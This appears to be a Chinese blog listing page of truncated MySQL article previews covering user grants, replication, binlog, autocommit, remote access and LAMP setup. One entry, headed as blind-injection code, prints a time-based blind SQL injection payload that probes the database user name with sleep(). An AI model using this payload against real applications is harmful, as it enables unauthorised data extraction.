mysql
tesgoo
这个作者很懒,什么都没留下…
展开
-
mysql添加用户和用户权限
Mysql添加用户使用可以对mysql数据库用户表有操作权限的用户名登陆mysqlinsert into user(Host,User,Password)values('%','name','password');如果work用户没有登陆权限,则killall mysqldshare/mysql/mysql.server startgrant all on *.* to w转载 2014-08-28 13:59:21 · 454 阅读 · 0 评论 -
网站禾 只 分之我见
数据库: * 专库 水平表(以用户ID 取100模来建表) 增加当天的日期字段来方便取同一天的数据。CREATE TABLE `jm_jifen_log90` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT '积分记录表', `uid` int原创 2015-09-08 11:14:23 · 327 阅读 · 0 评论 -
mysql中的if条件语句用法
· IF(expr1,expr2,expr3)如果 expr1 是TRUE (expr1 0 and expr1 NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF()的返回值为数字值或字符串值,具体情况视其所在语境而定。mysql> SELECT IF(1>2,2,3); -> 3mysql> SELECT IF(1','no');转载 2015-08-31 16:15:04 · 5117 阅读 · 0 评论 -
MySQL控制(关闭、打开)自动提交功能
在MySQL中执行命令时,通常都直接被确定提交了。也就是说用户不用意识此事,所有的命令都会被自动COMMIT。特别是当存储引擎为MyISAM的情况下,本身它是不支持事务处理的,只要执行了命令,所有的命令部会被提交。这样的默认自动提交的功能就被称为自动提交功能。自动提交功能默认被置为ON的状态。但是,如果存储引擎为InnoDB 时,当执行了START TRANSACTION或BEGIN命令(My转载 2015-08-27 13:45:34 · 1208 阅读 · 1 评论 -
MySQL的log-bin的日志功能
装mysql,运行一段时间后,在mysql目录下出现一堆类似mysql-bin.000***,从mysql-bin.000001开始一直排列下来,而且占用了大量硬盘空间,高达几十个G. 对于这些超大空间占用量的文件我们应该怎么办呢?那么mysql数据库文件夹中的mysql-bin.00001是什么文件?mysql-bin.000001、mysql-bin.000002等文件是数据库的操转载 2015-06-28 22:21:12 · 2182 阅读 · 0 评论 -
Linux MySQL主从复制(Replication)配置
http://www.cnblogs.com/zgx/archive/2011/09/13/2174823.htmlMySQL是开源的关系型数据库系统。复制(Replication)是从一台MySQL数据库服务器(主服务器master)复制数据到另一个服务器(从服务器slave)的一个进程。配置主服务器(master)1、编辑数据库配置文件my.cnf,一般在/etc/目录转载 2015-06-25 18:09:16 · 442 阅读 · 0 评论 -
对replication slave,replication client的一点说明 [主从]
如果你之前是认为replication slave 是复制所必须的权限,那么你就错了,为了安全性一般都需要replication slave 。如果单独设置replication slave,replication client 复制其实都可以运行的。mysql有一些特殊的权限允许复制进程运行,运行在从服务器上的I/O线程创建了到master的连接,这就意味着必须在主服务器上创建一个用户并且需要授转载 2015-06-25 17:54:10 · 1220 阅读 · 0 评论 -
mysql -u root -p 等这些常用的参数
一,mysql命令行参数Usage: mysql [OPTIONS] [database] //命令方式 -?, --help //显示帮助信息并退出 -I, --help //显示帮助信息并退出 --auto-rehash //自动补全功能,就像linux里面,按Tab键出提示差不多,下面有例子转载 2015-06-21 17:57:29 · 739 阅读 · 0 评论 -
MySQL双机热备份方法
在linux服务器lvs负载均衡、双机热备应用中经常用到mysql双机热备,安装和配置过程如下: 一、 安装MYSQL # cp mysql-standard-4.1.9-pc-linux-gnu-i686.tar.gz /usr/local/ # tar zxvf mysql-standard-4.1.9-pc-linux-gnu-i686.tar.gz # mv mys转载 2015-06-17 09:46:10 · 558 阅读 · 0 评论 -
设置MySQL复制时,replicate-ignore-db模式下如何正常工作
在复制中,如果启用参数 replicate-ignore-db / replicate-do-db 后想要让复制正常运行,只需在连接数据库后不执行 "use db" 语句即可,如果是在php中,连接数据库后,不再执行 mysql_select_db() 即可。这是因为复制机制会判断是否使用了 replicate-do(ignore)-db 参数,然后判断当前数据库是否为指定的数据库,如果是,才执行转载 2015-06-16 23:07:09 · 1730 阅读 · 0 评论 -
SHOW SLAVE STATUS 详解
MySQL同步功能由3个线程(master上1个,slave上2个)来实现。执行 DE>START SLAVEDE> 语句后,slave就创建一个I/O线程。I/O线程连接到master上,并请求master发送二进制日志中的语句。master创建一个线程来把日志的内容发送到slave上。这个线程在master上执行 DE>SHOW PROCESSLISTDE> 语句后的结果中的 DE>Binlo转载 2015-06-16 23:02:53 · 1761 阅读 · 0 评论 -
mysql基于BLACKHOLE复制基础的各种架构
Mysql复制架构 这是mysql主从复制最基本的原理图,左边是主master,右边是从slave,从图中可以清晰看到mysql的复制进程,master产生二进制日志binlog,输出到binlog文件,然后slave主机请求日志文件,master主机发送二进制到slave主机,二进制到slave后,写入中继日志,realylog,然后slave主机调用sql进程读取中继日志转载 2015-06-16 09:52:19 · 424 阅读 · 0 评论 -
主从复制
MySQL支持单向、异步复制,复制过程中一个Linux服务器充当主服务器,而一个或多个其它服务器充当从服务器。主服务器将更新写入二进制日志文件,并维护日志文件的一个索引以跟踪日志循环。当一个从服务器连接到主服务器时,它通知主服务器从服务器在日志中读取的最后一次成功更新的位置。从服务器接收从那时起发生的任何更新,然后封锁并等待主服务器通知下一次更新。为什么使用主从复制?1、主服务器/从服转载 2015-06-16 23:22:44 · 351 阅读 · 0 评论 -
小心使用replicate_do_db和replicate_ignore_db
使用replicate_do_db和replicate_ignore_db时有一个隐患,跨库更新时会出错如设置 replicate_do_db=testuse mysql;update test.table1 set ......第二句将不会被执行如设置 replicate_ignore_db=mysqluse mysql;update test.table1转载 2015-06-16 23:05:27 · 4645 阅读 · 0 评论 -
linux下mysql开启远程访问权限及防火墙开放3306端口
开启mysql的远程访问权限默认mysql的用户是没有远程访问的权限的,因此当程序跟数据库不在同一台服务器上时,我们需要开启mysql的远程访问权限。主流的有两种方法,改表法和授权法。相对而言,改表法比较容易一点,个人也是比较倾向于使用这种方法,因此,这里只贴出改表法1、登陆mysql?1mysql -u root -p转载 2015-06-17 09:55:18 · 852 阅读 · 0 评论 -
redis 将用户浏览信息入库
/** * 将用户浏览信息入库 */require_once 'common.php';$mysqliTj = new mysqli($mysqlTjServer['host'],$mysqlTjServer['user'],$mysqlTjServer['pwd'],$mysqlTjServer['db']);$redis = new Redis(); $redis原创 2015-03-25 16:46:00 · 898 阅读 · 0 评论 -
mysql盲注代码
盲注代码',(select/**/if((select/**/ord(substr(user(),1,1)))=114,sleep(3),0)),1)#转载 2014-10-09 23:30:04 · 758 阅读 · 0 评论 -
CentOS 6.4安装配置LAMP服务器(Apache+PHP5+MySQL)
准备篇:1、配置防火墙,开启80端口、3306端口 vi /etc/sysconfig/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT #允许80端口通过防火墙 -A INPUT -m state --state NEW -m tcp -p tcp --dport转载 2014-08-28 14:03:00 · 475 阅读 · 0 评论 -
SQLyog恢复数据库报错解决方法【Error Code: 2006 - MySQL server has gone away】
导入数据库的时候 SQLyog 报错了Error Code: 2006 – MySQL server has gone away搜了下,说是max_allowed_packet (MySQL的一个参数)设置的值不够大。那我改下就行了 嘿嘿In Windows:In the MySQL server installation directory,in my转载 2016-04-18 16:52:50 · 1177 阅读 · 0 评论